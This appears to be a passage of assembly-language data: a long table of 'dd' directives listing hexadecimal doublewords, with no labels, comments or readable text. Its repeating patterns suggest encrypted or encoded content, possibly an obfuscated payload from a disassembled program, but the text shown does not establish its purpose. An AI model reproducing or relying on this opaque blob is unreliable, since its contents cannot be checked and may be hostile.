dd 12C79783h, 39DF1805h, 0B5EB311Eh, 0BBD35970h, 0CDB69CB4h
dd 611C74Dh, 0C94DCD32h, 92248F51h, 310512C7h, 6E6489ABh
dd 77CA162Ch, 0C74C385Fh, 92855512h, 4DCD9D71h, 0E9EDEFBAh
dd 1B61B619h, 19E9EEE5h, 0E6CCE4EBh, 3A0512C7h, 34FF18BDh
dd 0DEBD289Dh, 248F970Fh, 512C792h, 297E8331h, 5970ADE3h
dd 94ACB3D3h, 611C7AEh, 0AB978332h, 70DA1056h, 0D9E0D359h
dd 1E39DEC1h, 0DF34CD4Ah, 59706399h, 0AEE42AD3h, 0B4D35970h
dd 3EF8FFADh, 0EF1DAB55h, 52385096h, 0B2A572ABh, 12021AE7h
dd 0D35970DCh, 512C7BCh, 0FD1ABD3Ah, 6DD8E932h, 8F47BF8Eh
dd 12C79224h, 97833105h, 3A0512C7h, 0CD1FA56Dh, 512C74Dh
dd 0D04DCD31h, 65D0F31h, 5A2E9225h, 0C07AFD19h, 738B792Ah
dd 0A372AB8Dh, 996DD11Bh, 0F2137CB2h, 6395DBDAh, 2AD3590Bh
dd 0B598FD5h, 585FD359h, 8C798040h, 7A928553h, 0C7978394h
dd 0F6180512h, 96910AC9h, 0F9DFF7C7h, 92457E83h, 98876D85h
dd 15110682h, 0E2F5A542h, 5E294A17h, 0AB9C7091h, 18DF465h
dd 0D782BBDBh, 1028F5C0h, 0DDFA9950h, 50244512h, 4AD04DCDh
dd 0B3A472ABh, 0C73EBE9Bh, 8E895017h, 1D5F6C3h, 14C79783h
dd 4DCD2F03h, 64387190h, 0C3DBA873h, 314C7DDh, 0C797832Fh
dd 0DC150215h, 1A00183Fh, 89AB4DCDh, 0A2FBEA33h, 0FBEB0330h
dd 0BF51B44h, 0A672AB24h, 34246C18h, 0F718CAB7h, 64475F2Ch
dd 65BAA7B0h, 8C6A6D2Ch, 0D3595956h, 0D084555Ch, 0ABC9AFC7h
dd 112F4989h, 6B837222h, 15C75844h, 4DCD2E02h, 0F9E520BAh
dd 827F0046h, 70B1E72Dh, 0B0B7D359h, 70477DC3h, 464DD359h
dd 248F482Eh, 215C792h, 0C797832Eh, 0AB2E0215h, 0E4B5A272h
dd 88552037h, 0BA139370h, 0D58A8611h, 8F9B7FF1h, 15C79224h
dd 0C6918652h, 96EBD8F9h, 59701A50h, 11920D3h, 0C797831Bh
dd 0DC150215h, 804D183Fh, 72AB8268h, 0BB98B0A7h, 0A272AB3Bh
dd 51DEAB5h, 89ABFFD1h
dd 6B96D4CEh, 5DFBCCCBh, 8AA26F3Ah, 75255E63h, 0B8FE9762h
dd 0D3595A82h, 48608188h, 6915C762h, 41111660h, 30BB9C56h
dd 0CD27FB1Ch, 156AB4Dh, 597085BBh, 0A6848BD3h, 0D3597070h
dd 0C6918653h, 0BAB4BF9h, 346FD3D0h, 0A797AFD0h, 28A10AA5h
dd 1B54AD85h, 5E445C7Bh, 0BA7489ABh, 0DA87793Ch, 0AA3CA7C2h
dd 150215C7h, 70447AC0h, 434AD359h, 9783452Bh, 2E0215C7h
dd 70BA4DCDh, 50A45F37h, 5FFF38C9h, 8F3A2038h, 9B407924h
dd 13E4B17Ch, 0B8855047h, 15C7BAA0h, 73948352h, 0C797839Fh
dd 0CD2F0314h, 0CB89AB4Dh, 7E593E5h, 0DB1413ADh, 335475F3h
dd 4CA0046h, 0C9D0D359h, 1C80C1B1h, 0F247DE24h, 241C76ACh
dd 5D757CDEh, 3813C777h, 5970BCF2h, 9ABBC2D3h, 918652CFh
dd 4FBA2FC6h, 8F29A170h, 99407924h, 400B0CCEh, 0A875273h
dd 1028494Eh, 314C72Ah, 1D3ADD16h, 72AB1F05h, 1CE9B4A3h
dd 0C7F1DD04h, 0CD2F0314h, 5215C74Dh, 0FAC79285h, 4DCD05D9h
dd 3A0512C7h, 34FF18BDh, 0CEB566Fh, 248FC53Dh, 314C792h
dd 0C797832Fh, 0CD2F0314h, 8879BA4Dh, 0C759DE24h, 0B8350017h
dd 0D72BF6E1h, 0A79271DCh, 1056AB67h, 0D35970DAh, 0A6C1D9E0h
dd 14C7A93Bh, 38DD1603h, 8321071Fh, 5215C797h, 9D719285h
dd 89AB9783h, 6B00B738h, 0E77B332Ch, 0B6165543h, 0FB9A7D95h
dd 4DCD08DCh, 597084BAh, 51C964D3h, 0AB92248Fh, 70DA1056h
dd 0D9E0D359h, 183FDEC1h, 3324F22Bh, 9D839B68h, 0DA1056ABh
dd 0E0D35970h, 0AE9AC1D9h, 3B0314C7h, 0F8337A9Ch, 4437E3FBh
dd 34CD462Ch, 706399DFh, 6269D359h, 0D5F50DA8h, 1B330CD2h
dd 6A14C735h, 71DCFE14h, 0C4B1D20Eh, 0B1C9CE8Bh, 0DE4DCDCBh
dd 744BE583h, 6E0DD5A5h, 0AB766135h, 0ABE0C6DEh, 59703365h
dd 5E3239D3h, 14C79783h, 0AC39E46Ah, 5778BB17h, 297E8383h
dd 5970ADE3h, 94ACB3D3h, 17C7AEh, 4DCDB238h, 1EBA8298h
dd 0FED3598Bh, 320611C7h, 4AD04DCDh, 0DA1056ABh, 0E0D35970h
dd 6DC2C1D9h, 709CD218h, 0DB7FD359h, 7624F1BCh, 3167576Fh
dd 0F8D35970h, 7F5FCED6h, 22EFBADDh, 9F0FD768h, 622B0963h
dd 0B5A2C3D3h, 5962396Fh, 20383FD3h, 176C5960h, 0A8F4E0F5h
dd 0BE9CEC3Bh, 0D3587B88h, 896F878Eh, 79BA9783h, 401FD878h
dd 79445307h, 0D0AE94ACh, 1234CD4Ah, 191F1157h, 3268AE5Ah
dd 38D358E9h, 9F3F1031h, 0C8E0AD78h, 1056ABE2h, 0D35970DAh
dd 701040E0h, 0DEA47DD8h, 16C2A5BDh, 7E832D01h, 0BC879045h
dd 0C7F1D7EFh, 0AB2F0314h, 70DA1056h, 0D9E0D359h, 9064E4C1h
dd 314C78Ah, 0C797832Fh, 0DD160314h, 84511C3Bh, 72AB866Ch
dd 0BE9BB3A4h, 7084BA3Eh, 124BD359h, 563C5443h, 380314C7h
dd 0E62C1FBBh, 0D35970B0h, 0C38EAFB6h, 6D4CB72Ch, 72AB269Eh
dd 7D98B0A7h, 14C78012h, 97832F03h, 2F0314C7h, 84BA4DCDh
dd 4BD35970h, 0C193F929h, 0D38787D6h, 0B2CF9C4h, 38C90DF3h
dd 263E59FFh, 92248F40h, 2F0314C7h, 4AD09783h, 14C74DCDh
dd 4DCD2F03h, 56AB4AD0h, 475F781Dh, 59702557h, 50242BD3h
dd 14C79783h, 44F41603h, 0DF120C80h, 83755B73h, 0AB829897h
dd 98B0A772h, 60436CA8h, 72AB4C6Ah, 1FECB7A0h, 60772407h
dd 0DD9A5173h, 6E27BD62h, 748CADAAh, 1056AB8Eh, 0D35970DAh
dd 9AC1D9E0h, 512C7AEh, 1A3DDF18h, 846A824Fh, 0F4FA89ABh
dd 51D5F0C2h, 0ABDC5C39h, 9BB3A472h, 7CC275ABh, 571A3CDDh
dd 0CFA61F43h, 0AD09EF07h, 92248F6Dh, 19A572ABh, 0DBFF1F7h
dd 824D6E48h, 1DBA9DB5h, 7D40DFAh, 8312F810h, 0A589AB97h
dd 91865617h, 0AF3FF9C6h, 9FB860F8h, 0CEE607D4h, 55292EEBh
dd 9A1234CDh, 282762B0h, 0F2E5B788h, 5C425A27h, 320611C7h
dd 681234CDh, 1A7E3052h, 0C7E1C7DFh, 0B8350017h, 5C2C58E6h
dd 78BA6F4h, 3D561BE6h, 0AF08F3D2h, 0ECB7A076h, 0AB21071Fh
dd 70DA1056h, 0D9E0D359h, 903BA6C1h, 7D958257h, 1056AB97h
dd 0D35970DAh, 2523AD4h, 782633C5h, 0A1765971h, 9783E2B6h
dd 2E0215C7h, 84BA4DCDh, 64DD7CC2h, 2E0215C7h, 12C79783h
dd 8F0EC76Ch, 0D8921831h, 0DA3EE976h, 461A3B36h, 15C74DCDh
dd 0CAD10269h, 3FDFAA2Eh, 2D6F718h, 0DA1056ABh, 0A1D35970h
dd 5970255Bh, 76242BD3h, 0FA7A576Fh, 248F51C9h, 512C792h
dd 477DC318h, 2AD35970h, 0B5BC6A6Dh, 9783B79Dh, 2E0215C7h
dd 7F5C7E83h, 0DF4A47C3h, 99E4D112h, 325314F2h, 11C7341Ah
dd 97833206h, 0EDC11506h, 12C74DCDh, 6C2FA46Ch, 7DC3AC2Eh
dd 0D3593B47h, 425464Dh, 0FF4DCD30h, 92248F1Bh, 0A801E0AAh
dd 0B40391Bh, 0BA370000h, 0D359916Eh, 17C74Eh, 0FB34CD2Ch
dd 0CACD8C5Bh, 0D0AB91A9h, 2F65AB4Ah, 0F6D35970h, 31FC1BBDh
dd 0D6F7E0B4h, 23F7FEBEh, 4AD09783h, 31D04DCDh, 7CF1B40Fh
dd 0B5CDDA6Ch, 0A672ABCFh, 3CBC99B1h, 865611C7h, 0D8F9C691h
dd 0F1E6B2EBh, 9783F3D9h, 0EB4F7190h, 0C6A8B384h, 0BA0BF109h
dd 0D3597084h, 1638C964h, 44AF38E7h, 0A78DA5B4h, 0B3A472ABh
dd 70FBA8F9h, 7A923231h, 2749F45Fh, 5A98B2D0h, 0BDA3BBC4h
dd 71908298h, 13C16638h, 4B6C3904h, 84BA4D33h, 64D35970h
dd 56AB6DADh, 5970DA10h, 0C1D9E0D3h, 3B903BA6h, 5970BFF5h
dd 0A6BEC5D3h, 0C78298C0h, 0CD310512h, 0AB4AD04Dh, 0AF0DE789h
dd 6C842B23h, 0B9F1276Dh, 57F7D358h, 64C06BF8h, 504715AEh
dd 7697B885h, 909783A2h, 512C78Ah, 0AB978331h, 8517A772h
dd 0B6E14D86h, 89562142h, 0FFCC8E71h, 594583B9h, 0A1B666D3h
dd 0DECBECF3h, 16E1F6A5h, 0AB4B3149h, 70DA1056h, 0D9E0D359h
dd 0BA64E4C1h, 0D3597084h, 17C764h, 3C89AB2Ch, 0B87D0436h
dd 0B39FC6DEh, 875512C7h, 0D7F8C590h, 0C74DCD03h, 0CD2C0017h
dd 1638C94Dh, 0FB9324CBh, 0CD8B5C9Ch, 8FCCB2CAh, 12C79224h
dd 7E833105h, 0B7829545h, 5A7B9C3Ah, 72AB5C42h, 4CE5B0A7h
dd 5970D006h, 0AECFD6D3h, 28E3B396h, 5970ACE2h, 0CACD8FD3h
dd 7D8432FFh, 5ABE92C3h, 496A2B09h, 8BC1075Ch, 6ED358B9h
dd 0F6FDABACh, 9783F8DEh, 310512C7h, 56AB4DCDh, 5970DA10h
dd 0C1D9E0D3h, 59709BD1h, 38C97BD3h, 96A45AFFh, 58B15EADh
dd 5926F112h, 248F5B41h, 512C792h, 0D0978331h, 0C74DCD4Ah
dd 0F6180512h, 55FC6E34h, 0B89EB680h, 99DF34CDh, 0D3597063h
dd 644A6269h, 56AB4AD0h, 915C7B1Dh, 707CB2F8h, 7B82D359h
dd 2052425Ah, 26D35970h, 597E1A53h, 5970457Bh, 23444BD3h
dd 0C797834Fh, 0F6180512h, 144B7D83h, 0F7A4751Ch, 83E2C8E0h
dd 0C7829897h, 0CD2F0314h, 0EF64BA4Dh, 0C7442CADh, 0BBF13714h
dd 0C1D35970h, 73AC99BAh, 415606A1h, 7088A976h, 0C797838Ah
dd 0BEF43A11h, 0C4D35970h, 0CDC89CBDh, 3F58FB34h, 14C74127h
dd 3EDD1603h, 0B0E62C19h, 0B6D35970h, 0ABB197AFh, 7AE8B289h
dd 738BF32Ah, 62A8FD96h, 0D358822Ch, 2D132B32h, 3A0512C7h
dd 2EF91EBDh, 86A9BEC8h, 710E2FADh, 4716F560h, 92248FCFh
dd 320611C7h, 31D09783h, 83D8BB0Fh, 0A227AC1h, 1234CD24h
dd 0C8DBC513h, 2B1129DDh, 0B7A072ABh, 24071FECh, 83926671h
dd 0BA8A9097h, 0D3597084h, 8F51C964h, 82989224h, 0E77589ABh
dd 76CE153Dh, 0BADD7B5Eh, 0C74DCDE6h, 0F1130017h, 0CE9F49D7h
dd 31172F94h, 0DA1056ABh, 0E0D35970h, 64E4C1D9h, 248F51C9h
dd 611C792h, 297E8332h
dd 5970ADE3h, 94ACB3D3h, 3615C7AEh, 5970BAF0h, 98B9C0D3h
dd 0DF34CDC4h, 59706399h, 4A6269D3h, 5611C764h, 9C709186h
dd 5EBA4DCDh, 2530C5A1h, 632E29ECh, 0C7987E96h, 83320611h
dd 611C797h, 0CE8BC419h, 70B5EBC9h, 4BBD359h, 0AA774255h
dd 0F2E5B889h, 5C425A27h, 0A4764DCDh, 11C79783h, 4DCD3206h
dd 0E3E336BAh, 10C71639h, 19BF3C07h, 0BB833FEh, 514611A0h
dd 8FB79330h, 11C79224h, 7E833206h, 2E29F029h, 59701A50h
dd 0B4B014D3h, 51AFF078h, 9E849CA3h, 320611C7h, 0A4764DCDh
dd 11C79783h, 56AB3206h, 5970DA10h, 8D9E0D3h, 0AD7A4552h
dd 0E61FB895h, 89562136h, 0DFF7E0B8h, 7BDCBAF9h, 0C7BCEE6Bh
dd 0BEF43A11h, 0C4D35970h, 54D19CBDh, 4AC59087h, 0AB53329Dh
dd 79248FE5h, 0B17C9B40h, 0C7E6CCE4h, 0E0190611h, 1C021A3Dh
dd 0B0A772ABh, 0AB857198h, 5F781D56h, 0B3E9C794h, 7AD35970h
dd 596FFE34h, 4FFD04D3h, 8B4D3048h, 0C4D387C0h, 184E2CF9h
dd 1ED35970h, 0CD22F617h, 83A4764Dh, 8295457Eh, 7D9A3AB7h
dd 0ACC4E5B2h, 611C7C6h, 487EC419h, 4ED35970h, 6FFF357Bh
dd 0FE05D359h, 0CDDFC5DDh, 6399DF34h, 69D35970h, 0AB644A62h
dd 125C4A89h, 0BD8EA02Dh, 612EF91Eh, 0E5CD5949h, 5B94E234h
dd 9D839BBCh, 3C0710C7h, 0EC3219BFh, 0D35970B6h, 0C994B5BCh
dd 0A180EB04h, 248F5AD2h, 0F7BA5779h, 22CBC182h, 0C5908751h
dd 0C7FAE0F8h, 83320611h, 49315C7Eh, 0EBB78AF9h, 11C7EDD3h
dd 56AB3206h, 5970DA10h, 0C1D9E0D3h, 15C764E4h, 97832E02h
dd 4DCD4AD0h, 845611C7h, 0AB9E7293h, 70DA1056h, 5BA1D359h
dd 0D3597025h, 6F76242Bh, 90443057h, 7084BA8Ah, 0C764D359h
dd 8B8C5017h, 77229F6Ah, 117A49C7h, 2A4B02EAh, 9A05165Fh
dd 8F74ECBBh, 82989224h, 2E0215C7h, 81BA4DCDh, 48D35970h
dd 2DEF6526h, 90A8A747h, 512C7AAh, 0F91EBD3Ah, 69D4E52Eh
dd 336C798Ah, 0DEAB7661h, 0ED312524h, 4058E1F7h, 92248F5Ah
dd 0F03615C7h, 0D35970BAh, 0C498B9C0h, 15C79783h, 0ECF31502h
dd 0A851B4D8h, 0CDB49AB2h, 0B178BA4Dh, 0FB581690h, 0C889AB1Fh
dd 72C890AEh, 97805829h, 0CCE7FFCCh, 72ABCF61h, 3BDFB0A7h
dd 7321041Ch, 9B3E7764h, 0CCE4B17Ch, 0C79783E6h, 0CD2E0215h
dd 0EF3CBA4Dh, 0E103EC89h, 83C720FFh, 0E6CCE4C6h, 248F51C9h
dd 215C792h, 1A3DDC15h, 70B1E72Dh, 0B0B7D359h, 56ABB298h
dd 7A587F1Dh, 0D3597044h, 1056434Ah, 0D35970DAh, 9AC1D9E0h
dd 0A472ABAEh, 31BE8B3h, 4D937820h, 0D3597017h, 0A5B2661Dh
dd 0AB8F6384h, 70DA1056h, 0D9E0D359h, 0C764E4C1h, 0DC150215h
dd 0A6B1683Fh, 0D5EDBA85h, 7D89ABEFh, 2A46454Bh, 32B28FA7h
dd 370215C7h, 8D4A1DBAh, 0D99E698Ah, 8B7655C0h, 92248F4Bh
dd 825611C7h, 572235E5h, 0A5AF698Ah, 117D6D59h, 83E9BDDEh
dd 1056AB97h, 0D35970DAh, 0DEC1D9E0h, 0AB45193Eh, 98B0A772h
dd 64336C71h, 0C3DBA873h, 6D11C7DDh, 15F2C42Ah, 610EDD4Ah
dd 0C23E61D6h, 0CDAC80A1h, 3B5CFB34h, 0A58BA370h, 805512C7h
dd 2EFFCC97h, 614E6F68h, 7090C60Ch, 8F96D359h, 4DCD9177h
dd 248F2AF0h, 611C792h, 0AB978332h, 70DA1056h, 0D9E0D359h
dd 693EDEC1h, 64E1ACABh, 0FDCA7B0h, 5A7D1DEEh, 34CD6539h
dd 0E7F0A6DFh, 5970D309h, 0BAD2D9D3h, 0AB8A90D4h, 3A6C7289h
dd 0F2A12FF0h, 2C4D1AE5h, 74633114h, 5D346587h, 8A8529FCh
dd 97838C72h, 2E0215C7h, 84BA4DCDh, 64D35970h, 9DE338C9h
dd 0D3597067h, 684E666Dh, 0B2A572ABh, 69147F9Ah, 490E8147h
dd 0D46AC6A2h, 0DA7B354Ah, 3D233B8Eh, 0B7A072ABh, 24071FECh
dd 83936770h, 6915C797h, 0AF184650h, 2EF100Fh, 9E3167ADh
dd 4114D358h, 10BE8B56h, 0CD98BF59h, 0E1C7DF00h, 84BA4DCDh
dd 4BD35970h, 707AB0F6h, 7980D359h, 6DAD7B61h, 4079248Fh
dd 32AF7A9Dh, 3A527364h, 1056AB54h, 0D35970DAh, 0DEC1D9E0h
dd 0F32C193Eh, 33193126h, 12C79783h, 9C6D3A05h, 9016DEF9h
dd 15C74DCDh, 4DCD2E02h, 65AB4AD0h, 0D3597033h, 835E3239h
dd 215C797h, 0B31EF315h, 0B68505E6h, 5B28F3E4h, 833C223Ah
dd 0AB829897h, 70DA1056h, 29E0D359h, 7647686Fh, 1DEAB5A2h
dd 64732205h, 0D04DCD90h, 7FE30F31h, 0BC9D5BABh, 72ABBEA4h
dd 1DEAB5A2h, 8AC00605h, 51D35970h, 3B534418h, 3912C47Bh
dd 5970BDF3h, 9BBCC3D3h, 80548D7Ah, 0E7FFCC97h, 0C7978301h
dd 0CD2C0017h, 0A572AB4Dh, 0E9AA9AB2h, 0C9FC19BBh, 130017C7h
dd 704278BEh, 603CD359h, 0FE6E28CCh, 21A21CFh, 0AB97831Ch
dd 0DEED1689h, 3D16294Eh, 0FF67052Bh, 0AC8FA7C8h, 0CD19EDEAh
dd 0D459BA4Dh, 0C7390DFFh, 0BA370215h, 0E52EF91Eh, 0E28A69D4h
dd 0D0ACA03h, 248F0FF5h, 17C792h, 4E89AB2Ch, 8677161Ch
dd 0AD99C0D8h, 8E5017C7h, 267B6889h, 0ADC0E504h, 20FE019Dh
dd 0D3588FEAh, 0EBD1E9F0h, 28BA4DCDh, 8E5BF99h, 248F2AF0h
dd 17C792h, 0C797832Ch, 0CD2C0017h, 3E59FB34h, 0A88EA673h
dd 0B2A572ABh, 43E4B79Ah, 0EBB88394h, 56ABF6CAh, 5970DA10h
dd 0C1D9E0D3h, 17C7AE9Ah, 0C48F8850h, 8302D6F7h, 0AB4AD097h
dd 15526489h, 0BE8B5641h, 92363104h, 0ED267B7Ah, 0BED97E29h
dd 0ED0526F3h, 58C5C7FDh, 9D6C8ED3h, 0FBF6571h, 41480820h
dd 0DF34CD6Dh, 59706399h, 4A6269D3h, 8834BA64h, 0AD14D5EEh
dd 6AC83254h, 4437E390h, 0C6DB1157h, 0DAE1D358h, 248FDCC2h
dd 94FBDE92h, 750A6C3h, 65ABB93Fh, 0D359702Fh, 0EC412E35h
dd 597070A6h, 0BBF137D3h, 0C1D35970h, 0ED050CBAh, 156AB07h
dd 597085BBh, 6C848BD3h, 5970467Ch, 71454CD3h, 4AD09783h
dd 7B1D56ABh, 20EBECACh, 2A1A3253h, 0D3596FF4h, 0CD06F3FAh
dd 713E090Eh, 4DCD7359h, 2F0314C7h, 51C94DCDh, 0DE92248Fh
dd 0E48718BFh, 0F77D4536h, 7A1D56ABh, 0ADC5925Dh, 597087BDh
dd 0B2868DD3h, 702F65ABh, 2E35D359h, 0A272AB5Ah, 2175591Ch
dd 0FA1BD0BAh, 0C291622Fh, 0AA96BDD5h, 2E0215C7h, 56AB4DCDh
dd 5970DA10h, 0C1D9E0D3h, 0EE884BD1h, 15C72BD5h, 32E78052h
dd 6C390425h, 9783774Bh, 72AB4AD0h, 9A99B1A6h, 59702254h
dd 4D2128D3h, 0B7A072ABh, 0BA42C29Fh, 0EA44C15Ah, 5086CC21h
dd 56EA44C1h, 0AD51374Fh, 92248F6Dh, 65AB4AD0h, 0D3597033h
dd 23453239h, 0F4C098F8h, 0E7F0A5FBh, 5D2E4F1Ch, 6D39EB9h
dd 72AB08EEh, 1CE9B4A3h, 89BF0504h, 8FD35970h, 3C3C8BEFh
dd 24C37D9Ah, 906485AFh, 4AD09783h, 0BB0156ABh, 0D3597085h
dd 0E1B3848Bh, 0BCEEDEF6h, 83D35970h, 0AE41E661h, 50686707h
dd 639C8990h, 0A389A1B6h, 15C74DCDh, 4DCD2E02h, 248F51C9h
dd 0AB4AD092h, 59703365h, 0C59939D3h, 83F78D83h, 4EC4EDBFh
dd 608AAF94h, 2CF9ABDh, 4C4B10E1h, 8E1C3E2Bh, 4DF656FBh
dd 0AB593F57h, 59702F65h, 1BBDF6D3h, 5124E4FCh, 5970D50Bh
dd 0B3D4DBD3h, 297E83DFh, 5970ADE3h, 5DFCB3D3h, 81A26F3Ah
dd 31D08369h, 0B4187DCh, 11D35970h, 6FF62C0Ah, 77BDD359h
dd 0D3597041h, 8B924047h, 0E4FC1BBAh, 3456ABFEh, 72210C70h
dd 13CD9A65h, 0B0C87D67h, 590C8EC0h, 0B98D94D3h, 0B0A772ABh
dd 230018E5h, 9285518Ah, 0E80017C1h, 0C15ABA02h, 0C93AEA44h
dd 92248F51h, 56AB4AD0h, 5970DA10h, 0C1D9E0D3h, 704A7CC2h
dd 0B050D359h, 58C3B2FBh
dd 86CCB9D0h, 0D3595F50h, 5A2E4F56h, 702F65ABh, 2E35D359h
dd 0A272AB5Ah, 301DEAB5h, 5970B4EAh, 9BB3BAD3h, 15C78874h
dd 97832E02h, 865314C7h, 839C7091h, 0E1895C7Eh, 70A2D81Eh
dd 0A1A8D359h, 7B181AE7h, 4AD07D63h, 857789ABh, 6DB4D83Fh
dd 5942F127h, 0CFF0F7D3h, 0C75ADAB7h, 91865413h, 89AB9C70h
dd 4F034D3Bh, 7198B00Bh, 215C785h, 0AB4DCD2Eh, 0E6B1A672h
dd 70D1074Dh, 0D0D7D359h, 777D97AFh, 2E0215C7h, 15C79783h
dd 0A977E169h, 4E6F1E0Eh, 0A072AB7Ah, 2037E6B7h, 93708855h
dd 7084BA13h, 0C964D359h, 92248F51h, 2E0215C7h, 0A8BA9783h
dd 6FD359CAh, 0CA9ED41Ah, 9DA4D359h, 72AB9F85h, 64CF1EA0h
dd 3501D497h, 7F19FC14h, 4DCD8458h, 56AB4AD0h, 925D7A1Dh
dd 87BDADC5h, 8DD35970h, 9783B286h, 0F9753CBAh, 11C71CEBh
dd 70BEF43Ah, 0BDC4D359h, 9783C89Ch, 0B4A372ABh, 21041CE9h
dd 0E9EEB077h, 0E2F5A11Eh, 8294A17h, 0BA4DCD34h, 0DF27E775h
dd 8F6DAD55h, 11C79224h, 70918656h, 0C797839Ch, 96815611h
dd 89ABA175h, 9EDEE116h, 0AE7FFD8h, 0A0D61C71h, 0A6D35967h
dd 0BAA1879Fh, 0D3597081h, 8F54C661h, 11C79224h, 89AB3206h
dd 4F0F205Eh, 47388E48h, 602B2CE9h, 335A7293h, 611C747h
dd 764DCD32h, 457E83A4h, 0EDBA8592h, 11C7EFD5h, 2DF71906h
dd 0A62DF512h, 0CD90768Eh, 6399DF34h, 69D35970h, 0F92F7562h
dd 0FFD3596Fh, 0BAFAE0F8h, 0D3597081h, 8F938761h, 72AB9224h
dd 26FDB7A0h, 6E0FEEC5h, 0A3755870h, 9783E0B4h, 320611C7h
dd 0B7A072ABh, 2A071FECh, 0C3C36F91h, 527EF18Bh, 81BA543Ah
dd 61D35970h, 54023BC6h, 93AB7843h, 92248FADh, 320611C7h
dd 0DA1056ABh, 0E0D35970h, 0AE9AC1D9h, 320611C7h, 1AA472ABh
dd 34234D5Bh, 5C74953Fh, 0EBADE67Fh, 0ABEED4ECh, 5303A472h
dd 8BAC7944h, 0FE168373h, 0C7F6E02Ah, 0BE3B0611h, 0E730FB1Ch
dd 0BD8C6BD6h, 8126F32Ch, 0D5A0C1D6h, 0C6918658h, 0DAC0D8F9h
dd 0C792248Fh, 4FC96D11h, 0FD0E9C91h, 7E8308DCh, 6EB49745h
dd 0D3597038h, 4B16373Eh, 0ECEBAD7Eh, 15C7EED4h, 72AB2E02h
dd 1FECB7A0h, 58912A07h, 0FCC99483h, 7093C90Fh, 9299D359h
dd 11C7947Ah, 0C5908756h, 0AB03D7F8h, 70DA1056h, 0D9E0D359h
dd 0C964E4C1h, 92248F51h, 2E0215C7h, 56AB9783h, 5970DA10h
dd 0C1D9E0D3h, 0AA6D3ADEh, 349E2ADh, 0D35970CDh, 8AABCCD3h
dd 0C79783B6h, 0CD2E0215h, 0C1EC1234h, 1DD5BCB4h, 31D01F05h
dd 706096DCh, 0C666D359h, 0D9B552EDh, 48193AA1h, 0EBB88394h
dd 72ABEDD3h, 9B9AB2A5h, 6CFF146h, 3689CE23h, 0C5D60CEAh
dd 0D5DCD358h, 0C597CDBDh, 0FD9DD358h, 0F8532F8Bh, 6438599Ch
dd 15C74DCDh, 0C8938452h, 0B4EDDAFBh, 0F5DBF3E4h, 4AD09783h
dd 0D33456ABh, 835D9BBFh, 2F28EDBEh, 8F7F9764h, 0D3591259h
dd 8C32E720h, 0F1FCE234h, 663152E1h, 0C2D2AE9h, 592D34F4h
dd 82989783h, 4DCD4AD0h, 7D1D56ABh, 70467C5Ah, 454CD359h
dd 8F884A2Dh, 0A9AE69A2h, 13F911DEh, 0E4A772ABh, 5970689Eh
dd 46676ED3h, 64B1157Bh, 4178E079h, 0F5E10820h, 84BA8A90h
dd 64D35970h, 248F6DADh, 0C7829892h, 0FE9A6717h, 0C38E894Bh
dd 789D3CF6h, 0CD09DDFEh, 2F65AB4Dh, 35D35970h, 0ABE0662Eh
dd 59702F65h, 412E35D3h, 389D701Fh, 82C83E33h, 0D358CD4Ch
dd 702A4B52h, 0FE20F458h, 61475F96h, 8A909783h, 130017C7h
dd 4D183FDAh, 0AB826880h, 0ECB7A072h, 0F4E0071Fh, 310512C7h
dd 3D1234CDh, 0FF050527h, 8D1E549Ah, 1D24D358h, 6F682BFCh
dd 0D9BFD7A4h, 597084BAh, 12C764D3h, 7E833105h, 70ADE329h
dd 0ACB3D359h, 17C7AE94h, 4DCD2C00h, 3596A8BAh, 54AD8832h
dd 2E64AAFFh, 34D35970h, 70194F2Dh, 4C1FD359h, 5970D006h
dd 0AECFD6D3h, 70457BC1h, 444BD359h, 89AB462Ch, 0B806203Eh
dd 0E6011972h, 72ABE97Bh, 1DEAB5A2h, 67702205h, 0AB978393h
dd 0B78DEF89h, 849C3E3Bh, 12E6F1A1h, 72AB4DCDh, 0B598B0A7h
dd 0CD23F7E0h, 8F51C94Dh, 17C79224h, 97832C00h, 2C0017C7h
dd 72AB4DCDh, 19E6B1A6h, 0B7829548h, 0D0E2D2EAh, 0B0323596h
dd 72AB51C9h, 1AE7B2A5h, 0C08B8C49h, 55C0DBF3h, 17C7C3h
dd 2A07F113h, 919A8CFh, 97830BF1h, 310512C7h, 17C79783h
dd 70B8EE34h, 0B7BED359h, 0A970A996h, 0CDB096AEh, 7084BA4Dh
dd 0C964D359h, 92248F51h, 2C0017C7h, 17C79783h, 4DCD2C00h
dd 65AB4AD0h, 0D359702Fh, 0AB5A2E35h, 70DA1056h, 0D9E0D359h
dd 0AB64E4C1h, 70DA1056h, 0D9E0D359h, 6B3CDEC1h, 0B68AABACh
dd 0B4A372ABh, 0AEA96CE9h, 624E758Dh, 3E0611C7h, 0A5B2669Fh
dd 0FF50DDAh, 0B1A672ABh, 1ADB80E6h, 225FC1A3h, 0A4EAE901h
dd 0D358EE6Eh, 3B5CFC35h, 0E4AFA86Ah, 6C3FFF17h, 58EDF026h
dd 0DD23F6D3h, 0D358EEA7h, 6485A6ADh, 2989AB90h, 1826F14Ch
dd 43486F87h, 804B4C0Ah, 0ABB59BB3h, 85BB0156h, 8BD35970h
dd 7070A684h, 6F76D359h, 0C1D9FE9Eh, 31D099AFh, 1B3324F8h
dd 0D04DCD35h, 3324F831h, 9D839B68h, 12C74DCDh, 97833105h
dd 0D61C7190h, 0D35970A0h, 0A1879FA6h, 597084BAh, 51C964D3h
dd 0B5A272ABh, 6C17829Dh, 0A1726533h, 4815E0F7h, 82984A30h
dd 300413C7h, 99DF34CDh, 0D3597063h, 0F5E2B269h, 243C5D2Ah
dd 0C78A903Eh, 83300413h, 6915C797h, 0C819BB9h, 784C6D7Bh
dd 5CFB34CDh, 480A703Bh, 110F10F2h, 51374F70h, 5B9363BAh
dd 15C74316h, 97832E02h, 0E5A672ABh, 5970699Fh, 47686FD3h
dd 0B497AF7Ch, 0AB23F7E0h, 156F4D89h, 0BED6CF75h, 67BA61E1h
dd 47165B93h, 0C5EF11F0h, 0B5028DB9h, 8F654B63h, 15C79224h
dd 72AB2E02h, 18E5B0A7h, 0C7EDD900h, 0BDF33912h, 0C3D35970h
dd 0CDC79BBCh, 9F50BA4Dh, 0C7304FA6h, 94835512h, 7DBFCC9h
dd 12C79783h, 4DCD3105h, 915EADC3h, 92248F89h, 0B3A472ABh
dd 20031BE8h, 83885C7Bh, 0A672AB97h, 0E1B699B1h, 0CD009F6h
dd 0CD0DF30Bh, 0A272AB4Dh, 51DEAB5h, 0D65FA615h, 2AF0861Bh
dd 0B1A672ABh, 0E60119E6h, 12C7E97Bh, 39DF1805h, 8320061Eh
dd 0A072AB97h, 71FECB7h, 0E1B17624h, 8D5E2BF6h, 32FFCACDh
